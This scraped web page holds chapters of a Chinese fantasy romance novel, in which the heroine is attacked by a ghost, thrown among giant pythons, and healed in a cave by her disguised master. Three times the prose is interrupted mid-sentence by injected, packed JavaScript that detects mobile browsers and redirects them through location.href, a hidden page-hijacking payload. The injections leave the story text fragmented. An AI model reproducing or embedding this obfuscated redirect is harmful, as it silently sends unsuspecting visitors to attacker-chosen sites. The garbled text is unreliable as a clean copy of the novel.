;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571174|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻道:“明日我陪你去。” 江染也道:“我也陪你。” 蔡乔张了张嘴,正要说出同样的话,却被景泽一口回绝了。 景泽笑了笑:“知道你们最讲义气了,但那算命先生当时说得很清楚,只许我一个人去。我怕你们跟去了,事情会有变故,万一那老先生察觉到还有旁人在场,故意不现身,那咱们可就前功尽弃了。” 云逍还是不放心:“可是你遇到危险怎么办……” 景泽为了让他们放宽心,不得不把自己之前的英勇事迹搬出来,她故作轻松地耸了耸肩,漫不经心道:“这算什么?前段时间我还以一人之力,斩杀了一头上古凶兽呢。” “你们看,我现在不是好好的么?” 顿了顿,她又凑近了些,压低声音,满脸神秘道:“而且啊,我告诉你们一个秘密。” “什么秘密?” 三人不约而同地凑了过来,满脸八卦。 景泽眨了眨眼:“说出来你们可能不信,但这是真的,我不管受多重的伤,身体都能莫名其妙地自己痊愈。” 蔡乔:“……” 江染:“……” 云逍:“……” 经过一番商量,他们做出了如下决定: 明日一早,分头行动。蔡乔同景泽一组,前往杀仙谷,但蔡乔不进去,只在谷口接应。云逍和江染一组,去城主府附近蹲守,看看能不能逮到单不群单独出府的机会。 计划已定,各自分工明确。 景泽伸了个大大的懒腰,打了个哈欠,眼角都沁出了泪花。 她揉了揉眼睛,目光自然而然地落在了江染身上,指挥道:“江染,去把碗洗了。” 江染对洗碗做饭这种事倒是没什么怨言,他从小就不是娇生惯养的主儿,这些活计做起来顺手得很。 可他刚端起两个碗,一抬头,看见云逍正优哉游哉地摇着扇子,打算就这么大摇大摆地回屋歇息,心里立马不平衡了。 于是他叫住了云逍,脸上挂着一副慈祥得过分了的笑容:“云兄这是要去哪儿?你不准备帮你江兄分担一下?” 云逍脚步一顿,回头瞥了眼案上那几只油腻粗碗,眉头立时拧成个疙瘩。 他素来是十指不沾阳春水的贵公子,这般粗活,哪里肯干? 正要开口推辞,江染却抢先一步,字字句句都往他心尖上戳:“云兄不知道吧,你那阿泽妹妹最是爱慕那勤劳勇毅、心善聪敏的男子,尤其是这‘勤劳’二字,可是她心头第一等要紧的。” 云逍的拒绝登时卡在了喉咙里。 他挑起半边眉,狐疑地看了江染一眼,又飞快地往景泽那边瞟了瞟,压低了声音问: “此话当真?” 江染一本正经地点头,神色诚恳得无可挑剔:“自然当真!你若身为女子,会瞧得上好吃懒做的男子么?何况你那阿泽妹妹眼界之高,寻常男子,她哪里看得上眼?” 云逍若有所思:“所以?” 江染往那脏碗上一指:“所以,想要成为阿泽妹妹心中的如意郎君,须得从洗碗做起!这叫以小见大!” 说完,又捂着胸口,故作痛心道:“唉!江兄为了你那美好的爱情,今晚只好牺牲一下自己,放弃此次洗碗了,云兄可得把握好良机啊!” 鬼使神差地,云逍脑海中忽然闪过那日景泽猝不及防的一吻,耳根微微发热,当即大声道: “洗便洗!” 说着便一把从江染手里抢过脏碗,豪迈道:“我云逍也是上得厅堂下得厨房的,不过洗几只碗,又有何难?” 他端着碗走进灶房,片刻后传来哗啦啦的水声。 江染斜倚门框,双手抱胸,嘴角噙着一丝若有若无的笑意。 景泽瞥他一眼,淡淡道:“你又在算计人了。” 江染眨了眨眼,一脸无辜:“江某这是成人之美,阿泽妹妹怎地这般看轻我?” 景泽见他学云逍说话,一个拳头招呼了过去。 · 翌日,天刚蒙蒙亮,四人便按照昨晚商量好的计划分头行动了。 景泽带着蔡乔出了城,沿着一条荒草丛生的小路,往城外西北方向的杀仙谷走去。 越往城外走,人烟越稀少,路也越难走,到了后来,连像样的路都没有了,只剩碎石和枯草。 空气中弥漫着野草和泥土的气息,偶尔有一两只早起的鸟雀从头顶掠过,叫声清脆,在山谷间回荡。 杀仙谷的入口在两座矮山之间,两侧岩壁上长满了青苔和藤蔓,谷口雾气最浓,几乎看不清里面的情形。 冷风从谷中灌出来,带着一股阴凉的湿气,吹得人身上发寒。 蔡乔停步,四下打量地形,指着谷口一块被藤蔓半掩的大石道:“我便在此处候着,你入谷之后,若有变故,只需高声喊我,我立时便冲进去接应。” 景泽微微颔首,抬手拍了拍她的肩头,也不多言,转身便往谷中行去。 走了约莫一刻钟,前方忽然豁然开朗,是一处不大的谷峰平地。 景泽随意找了一块大石头,拂去上面的落叶和松针,坐了下来,静静等待那老瞎子的到来。 38. 杀仙谷 杀仙谷之名,听来凶煞,景色却偏生绝丽。 景泽坐在那块大石头上,脚下是万丈深渊,眼前是层峦叠嶂。 山风拂过,松涛阵阵,她从清晨等到正午,又从正午等到日头西斜,天边残阳如血,将整片天空染成了浓烈的橘红色。 景泽四下里看了一遭,除了风声和自己的影子,连个鬼影都没有,更别提那老瞎子了。 她不禁有些烦躁,站起身在石头上踱了几步。 这老瞎子,莫不是在耍她?又或是她记错了地方?此杀仙谷,怕是非彼杀仙谷罢。 景泽叉腰站在那块大石头上,再次举目远眺。 峡谷幽深,两壁陡峭如刀削斧劈,谷底隐约传来几声奇怪的鸣叫,似豺狼低吼,又似野兽咆哮,在山谷间回荡,听得人心里发毛。 景泽暗暗想,她再等十秒钟,要是那老瞎子还不出现,她便掉头回去找蔡乔。 她既已守约至此,是对方失了约,日后若是算起来,也怪不到她头上。 “十、九、八、七……六、五、四、三、二、一。” 四周寂静得可怕,风卷着枯叶呼啸而过,发出呜咽般的声响。 景泽一字一句数完了,那老瞎子依旧没有出现。 “得。”她深吸一口气,拍了拍裙摆上的灰尘,转身便要走。 然而就在这一刹那,一记凌厉至极的掌风破空而来,带着摧枯拉朽之势,直直击中她的胸口。 景泽只觉得胸口像是被一头蛮牛撞上,整个人不受控制地向后倒飞出去,双脚在地上犁出两道深深的痕迹,足足退了数十步才勉强稳住身形。 一股腥甜涌上喉咙,她猛地喷出一口热血,血珠溅落在脚下的碎石上,触目惊心。 景泽倏地睁大眼睛,强忍着胸口的剧痛抬头望去。 来人样貌清晰映入了她的眼底,令她心头猛然一沉,瞳孔剧烈收缩。 此人身着一袭红衣,皮肤白得近乎透明,没有一丝血色,宛若死人。 她脸上戴着半面黑色面具,只露出一截苍白的下巴和一双含着笑意的眼睛。 景泽认出了她,正是之前在梦境琉霜水榭里见过的那只红衣女鬼。 见她认出了自己,那红衣女鬼嘴角微微上扬,露出一抹意味深长的阴笑,幽幽开口道:“又见面了呢,真是好巧。” “……!” 景泽心头猛地一跳,一个可怕的念头瞬间涌上脑海,梦境里的女鬼,怎么会出现在现实世界?这女鬼为何死死缠着她不放? 她下意识后退一步,却感到脚后跟已经悬空。 低头一看,自己不知何时已被逼到了悬崖边缘,半个脚掌悬在外面,几颗细小的碎石被她的脚尖碰落,无声无息坠入深渊,竟连一丝回响都没有传来,可见这谷底究竟有多深。 景泽勉强稳住摇摇欲坠的身形,死死盯着那女鬼,沉声问道:“是你故意引我来此?” 红衣女鬼锋利的红唇一勾,眸光愈发阴冷,红色的裙摆掠过枯黄的草地,朝她缓步走来。 走到近前,她忽然轻轻鼓起掌来,“好个聪明的姑娘,竟被你瞧破了。” 景泽咬紧牙关,手掌不自觉地攥成了拳头,指甲几乎嵌进肉里。 “你为什么这么做?我区区一个凡人,有什么值得你如此大费周章?” 红衣女鬼没有回答,在她面前停了下来,伸手掐起她的下巴,微微俯身,凑到景泽耳畔,声音幽幽的:“还能因为什么?当然是我喜欢你这傻丫头,偏生你半点也不明白。” 景泽满脸愕然地抬头看她,一时间竟不知道该作何反应。 那女鬼神色无波无澜,在她颊边轻轻一落,似吻非吻,浅触即离。 景泽的脸色唰地白了,白得比那女鬼还要难看几分。 她身子猛地一颤,差点没稳住脚下,慌忙抬起袖子擦脸,又急又怒地喝道:“你给我住嘴!你疯了不成!” 红衣女子缓缓直起身形,下颌微扬,身姿矜傲,可面具下的眸光,却在转瞬之间褪去所有戏谑温柔,化作无边寒厉。 “给我下去吧。” 她伸出手,指尖轻轻在景泽胸口一点。 景泽瞬间失去了平衡,整个人猛地向后仰去,脚下踩空,身体如断线的风筝般急速坠落。 下坠前的最后一刻,她透过那张黑色面具的缝隙,看到了那女鬼的眼神,狠戾无情,冷漠彻骨。 那一瞬间,景泽只感觉浑身上下的血液都凉透了。 狂风从耳边呼啸而过,如同无数把尖刀刮过她的脸颊,下一瞬,她重重地摔在了谷底地面上。 预想中的粉身碎骨并没有到来,这地面出人意料地柔软,居然没把她摔死。 但荆棘倒刺还是将她的手臂划得满是血痕,火辣辣地疼。 她废了好大的力气才从地上爬起来,还没来得及观察周围的状况,一股浓烈的腥臭味便扑面而来。 紧接着,她听到了无数“嘶嘶”的声音。 景泽僵在原地,缓缓低头。 哪里是地面软?她分明是掉进了一个巨大的蛇窝里!脚下踩着的,是层层叠叠、厚实得不可思议的蛇皮,有的已经干枯发黄,有的还带着湿漉漉的黏液。 而那些“嘶嘶”声的主人,是无数条巨型蟒蛇,最小的也有她大腿粗细,最大的那条,光是昂起的蛇头就有她半个身子高,此时此刻正从四面八方朝她包围过来。 那些巨蟒吞吐着猩红的信子,凶狠的竖瞳里倒映着她惊恐的面容,不紧不慢地逼近。 景泽浑身除了腰间那把短刀之外,身上没有任何杀伤力武器。 她心脏狂跳,哆哆嗦嗦地将短刀举在身前,一边后退,一边努力让自己保持冷静。 下一瞬,一条巨蟒率先发难,猛地扑上来,一口咬住了她的小腿。 “啊!” 锋利的毒牙刺穿皮肉,剧痛瞬间袭来,景泽惨叫一声,整个人被拖出去数米远。 后背在泥地上摩擦,碎石和荆棘划破了她的衣衫和皮肤。景泽疯狂地挣扎,伸手去抓地上的杂草、石块,却什么也抓不住。她能清晰地感觉到小腿上的皮肉正在被撕裂,温热的鲜血顺着小腿淌下来,滴滴答答地落在草地上,散发出浓烈的血腥气。 这气味如同最强烈的兴奋剂,让周围的巨蟒更加躁动,它们嘶嘶地吐着信子,眼中贪婪的光芒几乎要溢出来。 就在那些巨蟒张开血盆大口,露出凶狠獠牙,准备一拥而上时,一道红光骤然射来,化作一层透明的光罩,将景泽严严实实地罩在了里面。 那些巨蟒撞上结界,如同撞上了一堵无形的墙壁,被弹了回去,气得狂甩尾巴,不停地用脑袋去砸那光罩,发出沉闷的“砰砰”声,把景泽看得心惊肉跳。 景泽坐在地上,大口大口地喘着粗气,连忙抬头望去。 只见那红衣女鬼立于高处枝桠之上,居高临下,冷冷看着她这副狼狈模样,嘴角一撇,骂道:“真是个废物!连几条蛇都对付不了,也配活在世上?” 景泽张口欲辩,却见一道赤红长弓从天而降,“铮”的一声落在她脚边,震得尘土飞扬。 她仰头对着女鬼喊道:“箭呢?” 女鬼的声音自半空传来,颇为傲岸与不屑:“这可不是凡弓,只要你拉得开,自会生出箭矢。” 景泽将长弓从地上捡起,入手便是一沉。 她咬紧牙关,使出浑身力气去拉弓弦,那弦却纹丝不动,竟如钢铸死焊在弓身之上。 “你骗我!这根本拉不动!”她又急又怒,忍不住出声抱怨。 红衣女鬼眉角轻轻一压,嘴角闪过一抹冷笑:“法器已给了你,是生是死,全看你自己。拉得开弓,便杀蛇活命;拉不开,今日便是你的葬身之日!” 说罢,她当真收了结界,化作一道红光,转瞬间消失在了景泽的视线当中。 结界一消失,那些被阻挡在外许久的蟒蛇瞬间暴躁到了极点,疯狂地扭动着身体,张开血盆大口,一齐朝景泽扑了过来。 景泽的灵脉被封,与凡人无异,这把弓她哪怕拉上一辈子都拉不开,这法器根本就不是给凡人用的。 眼见蛇群越来越近,求生的本能被激到极致,她再无半分犹豫,将弓一扬,拼尽全身力气,狠狠砸向离得最近的那条巨蟒。 这一下砸得又重又狠,弓身正中那蟒蛇的脑袋,竟把那庞然大物砸得眼冒金星,猛地缩了回去。 可这些蟒蛇在杀仙谷中修炼多年,早成了精怪,怎会被这一下就砸死? 短暂的迟滞过后,它们非但不退,反而愈发凶狂,如疯了般再次扑上。 巨大的蛇身缠绕过来,将她的衣服撕扯得破烂不堪,她浑身上下添了无数道新伤,惨不忍睹。 便在此时,一条最粗的巨蟒猛地张开血盆大口,森森獠牙直咬她头颅,竟要将她整颗脑袋吞入腹中! 景泽瞳孔猛缩,几乎是本能地挥出短刀,狠狠地插进了那条蟒蛇的口中,刀尖刺穿它的上颚,又从眼眶附近穿了出来。 噗嗤!那蟒蛇疼得疯狂摆动尾部,巨大的尾巴带着雷霆万钧之势朝她横扫而来! “砰!” 景泽整个人被砸飞出去,飞了几十米远,重重地撞在一块巨大的山石上。 她感觉浑身上下的骨头都要碎了,五脏六腑移了位,一口鲜血再次喷了出来。 她还没来得及爬起来,那些蟒蛇又朝她扑了过来,这次比之前更加凶猛,更加迫不及待。 它们张开大口,腥臭的气息扑面而来,景泽甚至能看清它们喉咙深处的倒刺。 这一次,她是无论如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576068|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也爬不起来了,景泽认命般地闭上了眼睛。 然而,想象中的死亡并没有降临。 相反,她感觉到体内忽然涌出一股极其强大的灵力,猛地睁开眼睛,只见一片巨大的金色光罩将她笼罩了起来。 那光罩比刚才红衣女鬼设下的结界还要大上数倍,金光流转,浩瀚如海,散发着令人心悸的威压。 这光罩她认得,是师尊的赤金灵障! 那些蟒蛇被这赤金灵障一刺激,仿佛碰到了什么天地间最可怕的东西,发出一阵凄厉的嘶鸣,再也不敢停留,纷纷掉头逃窜,转瞬间便消失得无影无踪。 景泽强忍浑身剧痛,撑着残破身躯艰难起身,急忙看向四周。 “师尊!是你在此处么?师尊!” 山野寂然,唯有晚风穿谷,呜咽回响,无半分人声应答。 可那赤金灵障的光晕、纹路、气韵,皆是她熟悉的模样,绝无半分错假。 腿间伤口血流不止,失血过多的眩晕阵阵袭来,她身形摇晃难支,堪堪伫立片刻,便再度跌坐于地,粗重喘息不止。 方才坐下的刹那,她眸光无意间垂落,瞥见了脚踝上的那枚金环。 “……!” 此刻那枚金环正熠熠生辉,淡淡金光明暗交替,缓缓流转,与方才护体的赤金灵光同出一源。 景泽心头巨震,指尖轻轻抚上金环。 原来方才绝境护她性命的,并非师尊亲临,而是这枚金环! 她脑中骤然浮现出城主府中那名神秘男子的模样,身形面容,与师尊一般无二,唯有性情暴戾无常,判若两人。 一念丛生,万般疑云翻涌心头。 若那人并非师尊,为何会赠予她这枚可催发赤金灵障的护身金环? 若那人便是师尊,为何全然不认她,性情模样大变,行事诡秘莫测? 无数谜团交错缠绕,盘旋心头,可隐隐之间,那笼罩许久的迷雾,终究是透出了一丝微光。 · 天色渐渐暗了下来,最后一缕光也被远山吞没。 景泽拄着长弓,一瘸一拐地走在荒芜的山野里,山野深处时不时传来野兽的嚎叫,格外渗人。 景泽已经一整天没有吃东西,胃里空荡荡,加上失血过多,她现在的状态可以说是奄奄一息。脚步越来越虚浮,眼前时不时发黑,全凭一股不甘心的意志在撑着。 鬼使神差地,她忽然想起了那日在凤灵城,那位仙女姐姐请她吃的清蒸鲈鱼,肉质鲜美,入口即化。 要是能再吃一次就好了,她迷迷糊糊地想,倘若自己能活着走出这杀仙谷,一定要使唤江染抓鱼烤给她吃。 江染的厨艺一向比她好,做什么都合她的胃口。 走着走着,不知道是不是产生了某种幻觉,她居然真的闻到了一股烤鱼香气。 景泽下意识地顺着那香气往前走,深一脚浅一脚地穿过一片矮树林,不知不觉间来到了一处山洞外面。 等她意识到山洞里可能有危险时,人已经站在了洞口。 洞中火光融融,柴火噼啪轻响,一道黑袍人影背身而坐,正静静围火烤鱼。 景泽望着那道熟悉背影,心头一喜,连日疲惫惊惧似被瞬间冲淡,连忙迈步上前:“清隽!你怎会在此地?” 黑袍男子闻声,缓缓回头,火光明明灭灭,映出一张俊朗绝世的面容。 剑眉入鬓,星目含光,鼻梁高挺,薄唇清敛,一双狭长美目映着跳动焰火,明暗交织,亦正亦妖。 清隽见了她,似乎没有意外,只是眉梢微微扬起:“景泽?” 随后,他目光落至她血迹斑驳的小腿伤处,眸光一沉,眼底悄然掠过一抹不易察觉的疼惜。 “真没想到在这里遇见你!我真是太开心了!” 景泽眼底炸开灼人的光,嘴上同清隽打招呼,可从头到尾,目光就没从他手里那条烤鱼上移开过。 她朝他走过来时,下意识地又吞了吞口水,肚子适时地发出一声咕噜。 “你、你还会烤鱼啊?” 她在他面前蹲下,两手托着腮,舔了舔嘴唇,目光仍旧直勾勾盯着他手里的鱼。 清隽垂眸看向手中烤鱼,脸上笑意染上几分无奈:“其实不太会,你看,这鱼已经被我烤焦了,滋味定然不佳,我重新烤过一条吧。” 说罢,他便作势要将焦鱼弃于火边。 “哎!别扔!” 景泽急忙按住他的手,满脸心疼,“好好的鱼,扔了多可惜,你若不吃,便给我吧。” 她眼眸亮得像揉碎的星子,直直望着那尾烤鱼,全然不顾身上还带着伤。 清隽望着她这般模样,知道她馋得紧,却故作迟疑为难,微微沉吟片刻,轻叹一声:“罢了,你若不嫌弃难吃焦苦,那便给你吃罢。” 39. 火暖 夜风穿石而过,呜呜如咽。 景泽腹中饥火翻腾,方才清隽所烤之鱼,焦香四溢,直钻鼻端。她哪里还顾得半分斯文,抓起便啃,狼吞虎咽,风卷残云。 边吃边摇头晃脑,啧啧称赞:“清隽,亏得你没把这烤鱼丢了,味道当真极妙!是我吃过最好吃的烤鱼!” 清隽静坐在篝火旁,瞧着她这憨直模样,亦正亦妖的眉眼间,悄然漾开一缕浅淡无奈的笑意。 “慢些吃,这么大个人了,怎地吃东西还是这般不顾形象,全无半分姑娘家的模样,。” 景泽口中塞满鱼肉,腮帮子鼓鼓的,含糊唔了了两下:“我这不是饿得紧了,何况此处又没外人,也没我师尊,要什么劳什子形象,形象能下饭么?” “……” 待到最后一口鱼肉落肚,她长长地打了个饱嗝,抬眼才发觉清隽自始至终凝眸看着自己,登时小脸一热,有些局促地挠了挠头,讪讪笑道:“倒是忘了你还没吃,要不我再为你烤一条?” 清隽轻轻摇摇头,抬手自宽袖之中取出一方素白锦帕,轻轻递至她身前。 “擦擦吧,你这脸跟只小花猫似的。” 景泽随口道了谢,接过帕子胡乱在嘴边、手上擦拭一番,洁白帕面顷刻染了数道油渍炭痕,斑驳狼藉。 就这么把手帕还回去似乎不妥,于是她对着清隽嘿嘿一笑,揣着几分憨气道:“那个……这帕子我先收着,改日洗净熨平,再原璧归赵。” 清隽眸光淡淡,扫过那方污帕:“都行。” 一语方落,他的目光倏然落在景泽的衣襟之上,方才火光摇曳昏暗,瞧得不真切,此刻火堆明火灼灼,映得纤毫毕现。 只见她半边衣衫尽数被鲜血浸透,血痕层层叠叠,纵横交错,触目惊心。 清隽眉心骤然一蹙,清冷神色添了几分沉肃。 景泽何其敏锐,立时察觉他目光有异,低头打量自身狼狈模样,却浑不当一回事,扬唇一笑,“你莫忧心,这伤啊,只是看着可怖,实则无碍,说不定明日天一亮,便自行愈合了。” 清隽修行百年,遍历山海奇闻,见过世间万般异术灵药,却从未听过伤口无需丹药、无需将养,便能自行痊愈的怪事。 他微微侧首,眸光透着几分审视与狐疑:“你莫不是在唬我,你区区一介凡人,皮肉创伤,岂有自愈之理?” 景泽心知他定然不信,摆了摆手,利落转了话题:“此事说来蹊跷,我也无从解释,不说这个了。你可知我方才何等凶险?杀仙谷中群蟒环伺,险象环生,我竟能死里逃生,是不是很厉害?” 她越说越是雀跃,眉眼飞扬:“更有意思的是,我得了一柄法器长弓!虽说我如今修为浅薄,尚且拉不动它,待来日我寻得机缘将其变卖,定能换得不少钱财,你说我机灵不机灵?” 深山夜寒,谷风穿隙而来,裹挟一阵阴冷湿气。 景泽伸手凑在火堆前取暖,十指被火光映得通透泛红,扬了扬下巴,满眼得意,分明是在等着被夸。 纥奚时砚静静看着她,眸底沉色愈浓。 她将自己死里逃生的原因,尽数归于自身体质特异,全然不知险境之中,是他暗中出手,为她挡下致命重创。 景泽等了半晌,预想中的夸赞迟迟未至,偷偷抬眼看清隽,只见方才尚且温煦的人,此刻神色沉凝,面容肃然,竟是一派训诫模样! 未等她反应过来,清隽严厉的训斥已然响起:“景泽,你这话太过荒唐!我不信伤势可凭空自愈,纵是真有这回事,你便不知爱惜自己了?” 他目光沉沉锁住她:“世人万事皆虚,唯自身性命为重,无论何时何地,你都该将自己放在首位,护好己身,此话,你给我记住了。” 顿了一顿,他眸底藏着不易察觉的沉敛关切,缓缓补了一句:“往后,莫要再让我见你满身伤痕、狼狈至此。” 景泽被这一番义正词严的训诫惊得目瞪口呆,张口怔愣良久,半晌才回过神来,忍不住出声吐槽:“清隽!我真是小瞧了你!你这口吻,和我师尊一模一样!一点都不像同龄人!” “同龄人?” 清隽眸光微闪,精准捕捉到这三字,侧首看向她,清冷眼底掠过一丝浅淡兴味: “我在你眼中,竟与你年岁相仿?” “难道不是么?” 景泽不假思索:“你看着不过十七八岁模样,不是同龄人是什么。” 话音未落,她心中忽生好奇,身子微微前倾,眸光灼灼,戏谑笑道:“难不成你是山中修行千年的狐妖?或是长寿万年的玄龟?不然怎会问出这种问题?” 此言可谓放肆无忌,纥奚时砚面色瞬间沉下,怒道:“一派胡言!我岂会是妖物精怪!” 景泽从未见过他这般略带羞恼的神色,忍俊不禁,“噗嗤”一声笑倒在地,笑得前仰后合: “哈哈哈哈!我不过随口戏言,你何必当真动气!” 纥奚时砚望着她笑得恣意烂漫的模样,心中满是无奈。 这徒儿素来胆大妄为、无法无天,时时逾越规矩。他本欲略施惩戒,令她谨记分寸,可目光扫过她满身血痕、以及未愈的伤口,到了唇边的训诫便尽数咽了回去。 罢了,她伤势未愈,狼狈至此,今日便暂且饶过。 下一瞬,他宽袖陡然轻挥,空空荡荡的山洞之中,凭空现出一张精致榻床,洞角亦浮起数枚拳头大小的夜明珠,莹白柔光缓缓弥散,将幽暗山窟照得亮如白昼。 景泽看得双眼发亮,满脸惊奇:“你出门还带床?这么讲究?” 清隽不搭理她,只命道:“上床躺好,我为你疗伤。” 莫名的,景泽感觉清隽说话带着一股熟悉的威压感,这让她心里生不出半分抗拒的念头。 她老老实实地“哦”了一声,乖乖走到床榻边,脱了鞋,规规矩矩地躺下了。 清隽在床边坐下,修长的手指撩起她那血迹斑斑的裤腿,裤腿上的血已经干了大半,布料硬邦邦地粘在皮肤上,揭开时带起一阵刺痛。 刺目的红色映入眼帘,小腿上一道道深浅不一的伤口纵横交错,有的已经结了薄薄的血痂,有的还在往外渗血。 清隽的眉头拧成了疙瘩,下颌线绷得死紧,终于没忍住,训道:“伤得这般重,还有心思嬉闹玩笑,不知道喊疼么!” 景泽被这劈头盖脸的一通吼,吓得一激灵,立马铿锵有力地喊道:“疼!” “现在才喊疼!晚了!” 清隽又拉过她的手,撩起她的袖子。 手臂上的伤比腿上只多不少,蟒蛇缠绞留下的青紫淤痕层层叠叠,利齿划破的伤口皮肉翻卷,满目狼藉,看得人心头发沉。 有那么一瞬间,景泽感觉清隽的呼吸戛然而止。 山洞里安静得可怕,连夜明珠的光都仿佛凝固了,只剩下火堆里偶尔发出的“噼啪”声。 不对啊。 景泽在心里嘀咕起来,她受伤,清隽那么生气干什么?这跟他有什么关系?难道他对她这个替身徒弟,已经上心到这种地步了么?还是说……他只是单纯地见不得别人受伤? 她心里七上八下的,想偷偷观察清隽的神情,目光刚飘过去,还没来得及看清什么,清隽那不容置疑的声音便兜头砸了下来: “把衣服脱了。” “?!” 景泽身子一僵,牢牢护住衣襟,哼哼唧唧不肯依从,满脸警惕:“我不脱!孤男寡女共处一室,你若心存歹念,我如何自处?” 清隽深吸一口气,闭了闭眼,他的忍耐是有极限的,而这个徒儿似乎天生就是来挑战他极限的:“你不脱,我怎么查看你身上其他伤口?你难道想流血到明天?” 景泽抱着胸,干脆利落地翻了个身,拿后背对着清隽,语气十分坚决:“不脱!男女授受不亲!你一个男的,好意思让我一个姑娘脱衣服么!” 身后传来他微颤的鼻息,一字一顿,带着极致的克制:“我、不、看。” “不看?” 景泽更加不能理解了,翻回身来,一脸天真无邪地看着他。 “你都不看,你怎么知道我伤在哪里?而且你不看,我脱衣服干什么?岂不是多此一举?” 她这逻辑说得头头是道,竟让人一时找不出反驳的话来。 清隽耐着性子,尽量让自己的语气听起来平和一些:“你脱了衣服,我用灵力检查,绝对不会碰到你身体。并且我保证,一定会把你身上的伤治好。” 此言着实恳切,有几分说服力。 景泽犹豫了一瞬,咬着嘴唇想了想,还是有些不放心,试探性地问道:“你确定你不会因为我身材太过完美,从而见色起意?” 话一出口,景泽自己都惊住了,她怎么会有这种自恋发言?都怪云逍!近朱者赤近墨者黑,一定是云逍那个自恋狂传染给她的! 清隽的耐心终于在这一刻彻底耗尽,他懒得再跟她废话,灵力一使,一道无形的力量无声无息地拂过。 下一瞬,景泽只觉得身上一凉,低头一看,自己身上的衣服全没了! 空气凝固了半息,景泽“啊”了一声,手忙脚乱地捂住重要部位。 等她终于回过神来,红着脸朝清隽看去时,登时大呼一口气。 清隽的眼睛上不知何时缠上了黑色的布条,那布条将他的双眼遮得严严实实。 他果然说话算话,没有看她。 可是,就这样全身赤裸地站在一个大活人面前,哪怕对方蒙着眼睛,那种别扭的感觉还是挥之不去。 景泽咬了咬唇,为了确认清隽当真看不见她,她还故意伸手在他眼前晃了晃。 彼时清隽正在用灵力探查她身体,察觉到她的动作后,他低声命道: “别乱动。” 景泽浑身一僵,随即满脸羞愤,声音都拔高了几分:“你还说你不看我!” 清隽咬了咬牙,每一个字都透着隐忍的怒意:“我、没、有、看、你!” 他每次用这种凶巴巴的语气对她说话,她心里都怂得一批。 于是她缩了缩脖子,声音不由自主地小了下来:“行、行吧!那么凶干什么!没看就没看呗,我又不是不信你。” 源源不断的灵力涌到身上,景泽感觉浑身暖融融的,那些伤口的疼痛如潮水般褪去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17578972|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取而代之的是一种难以言喻的舒服。 她忍不住打了个哈欠,眼皮开始发沉。 “好了么?” 她迷迷糊糊地问。 清隽淡淡地“嗯”了一声:“好了。” 话音落下的瞬间,景泽感觉身上又多了一层暖意。 低头一看,不仅身上的伤全好了,而且还被换上了一身黑色衣袍。那衣袍的料子触手生温,轻若无物,款式简洁却不失精致,不论从面料还是剪裁,都跟清隽身上穿的一模一样,只是尺寸小了许多,像是量身定做的。 景泽摸了摸身上的新衣服,满心惊奇:“想不到,你出门竟还带了女装,而且还跟我这么合身!” 清隽眼睛上的黑色布条化作一缕黑气,无声无息地消散在空气中。 他睁开眼看着她,嘴角微微上扬,不置可否。 景泽歪头想了想,忽然一拍手,一副恍然大悟的样子: “肯定是因为我身量同你那走失的徒儿很像,对不对?” 清隽嘴角的弧度又大了一些,眼底似乎有什么柔软的东西一闪而过:“你倒是聪明。” 景泽哼了一声,下巴微微扬起:“那是。” 她跳下床,在原地转了个圈,新衣的衣摆在空气中划出一道优美的弧线。 忽然想起什么,她往角落里的长弓上一指,满眼期待地看着清隽。 “你能教教我,怎么使用这个么?” 清隽若有所思地看着她,目光在那把长弓上停留了一瞬,缓缓开口:“可以是可以,但我帮了你这么多,你拿什么报答我呢?” 这个问题难到她了,景泽冥思苦想了起来,她身上确实没什么值钱的物件了。 于是她抬起头,老实巴交地问:“你想要什么报答?” 清隽淡淡一笑,在床边坐下,姿态随意而优雅,想了想,说:“不如,你唱首歌给我听吧?我从来没听过你唱歌呢。” 还以为清隽要提什么难于登天的要求,景泽甚至已经做好了上刀山下火海的心理准备,没想到就只是一首歌? 她顿时松了口气,清了清嗓子,大大方方地唱了起来。 她唱的是小时候听过的一首童谣,曲调简单,歌词也不复杂,她自认为唱得不错,甚至还加了一些自己的发挥,在副歌部分特意拖长了尾音。 待她唱完,满怀期待地看向清隽,却发现对方脸上的表情一言难尽。 清隽的嘴角微微抽搐了一下,像是在努力维持礼貌,最终还是没忍住,迟疑地问道:“你刚刚……是用唱的么?” 景泽茫然地看着他:“不然呢?难道我是在念经?” 清隽沉默了片刻,像是在斟酌措辞,最后他点了点头,用一种“就这样吧不强求了”的语气说:“罢了,我答应你,明天早上一定告诉你使用方法。” 景泽在心里琢磨,她唱歌挺好听的吧?虽然高音上不去,低音下不来,但好歹音准还是在的吧?何况还经过这么多年的岁月洗礼,不可能一点长进都没有吧? 她百思不得其解,最终把原因归结为清隽不懂欣赏。 